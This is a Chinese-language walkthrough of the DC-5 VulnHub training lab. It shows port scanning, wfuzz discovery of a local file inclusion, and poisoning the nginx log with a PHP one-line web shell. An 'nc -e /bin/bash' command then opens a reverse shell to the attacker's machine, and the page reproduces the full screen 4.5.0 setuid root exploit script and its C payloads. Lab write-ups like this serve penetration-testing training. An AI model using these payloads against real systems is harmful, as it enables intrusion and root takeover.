靶机介绍
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
靶机地址:https://www.vulnhub.com/entry/dc-5,314/
学习到的知识
LFI
(本地文件包含)日志获取shell
wfuzz
工具的使用
screen
提权root
信息搜集
拿到 IP
先扫描端口开放服务:
nmap -A -T 4 192.168.1.144
它这边只开放了 80
(http)和 111
(RPC)两个端口服务!
RPC 他是一个RPC
服务,主要是在nfs
共享时候负责通知客户端,服务器的nfs
端口号的。简单理解rpc
就是一个中介服务。
我们先来到 WEB
端,但是没有什么可利用点,只有一个表单提交的地方:
http://192.168.1.144/contact.php
我随便提交了一些内容,发现了它会被提交到 thankyou.php
这个文件:
LFI本地文件包含获取shell
看上去有点像 LFI
(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:
wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
由于FUZZ
出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:
http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf
打开后我发现它可以读取系统文件:
这个时候确定了它存在本地文件包含!那么我继续用 wfuzz
缩小我们得到的参数范围:
bash
wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
--h 是过滤Chars
这样我们就成功的得到一些可利用的参数:
```
arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
Total requests: 2568
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001714: 200 44 L 68 W 861 Ch "file - /etc/issue"
000001715: 200 49 L 103 W 1121 Ch "file - /etc/motd"
000001716: 200 70 L 104 W 2319 Ch "file - /etc/passwd"
000001717: 200 70 L 104 W 2319 Ch "file - /etc/passwd"
000001719: 200 96 L 117 W 1558 Ch "file - /etc/group"
000001833: 500 38 L 58 W 786 Ch "file - /etc/php5/apache2/php.ini"
000001844: 500 38 L 58 W 786 Ch "file - /etc/php5/cgi/php.ini"
000001872: 200 170 L 590 W 4368 Ch "file - /etc/mysql/my.cnf"
000001926: 200 65662 871324 9389548 C "file - /var/log/nginx/access.log"
```
随后我发现了它的一个日志文件里有我们的请求记录:
http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log
既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:
http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>
(温馨提示:到这里我靶机重启了一下,所以 IP 变了)
接下来然后用日志文件去执行命令 ls
:
http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls
成功执行命令!那么我就用 nc
反弹一个shell
回来吧!先是 KALI nc
监听 5555
端口,然后访问得到一枚 shell
:
http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555
得到 shell 以后我用 python
切换到 bash
:
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升
之后我查找 SUID
权限的文件发现了 screen
:
bash
find / -perm /4000 2>/dev/null
紧接着我又去搜索了一下关于 screen
的漏洞,找到了一个提权 poc
:
```bash
!/bin/bash
screenroot.sh
setuid screen v4.5.0 local root exploit
abuses ld.so.preload overwriting to get root.
bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
HACK THE PLANET
~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
include
include
include
attribute ((constructor))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```
接着我按照上面的 POC
创建了 libhax.c
、rootshell.c
文件,文件内容是:
```bash
root@kali:~# cat libhax.c
include
include
include
attribute ((constructor))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!n");
}
root@kali:~# cat rootshell.c
include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
```
随后用 gcc
编译他们:
bash
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
编译完后我用 nc
把刚刚编译好的文件传到目标服务器上:
```bash
KALI:
nc -nlvp 7777 < libhax.so
nc -nlvp 7777 < rootshell
靶机:
nc 192.168.1.128 7777 > libhax.so
nc 192.168.1.128 7777 > rootshell
```
最后按照 POC
上面的步骤依次输入命令提权为 root
:
bash
cd /etc
bash
umask 000
bash
screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so"
bash
screen -ls
bash
/tmp/rootshell
最终也是在 /root
目录下拿到了 Flag
:
前言 在渗透测试中,SQL盲注、命令盲注等漏洞是较难利用的,由于无回显,这类漏洞即使存在也显得有些鸡肋。针对此类问题,我们可以使用DNSLOG来进行突破。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显。 DNSLOG的原理 DNS的解…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论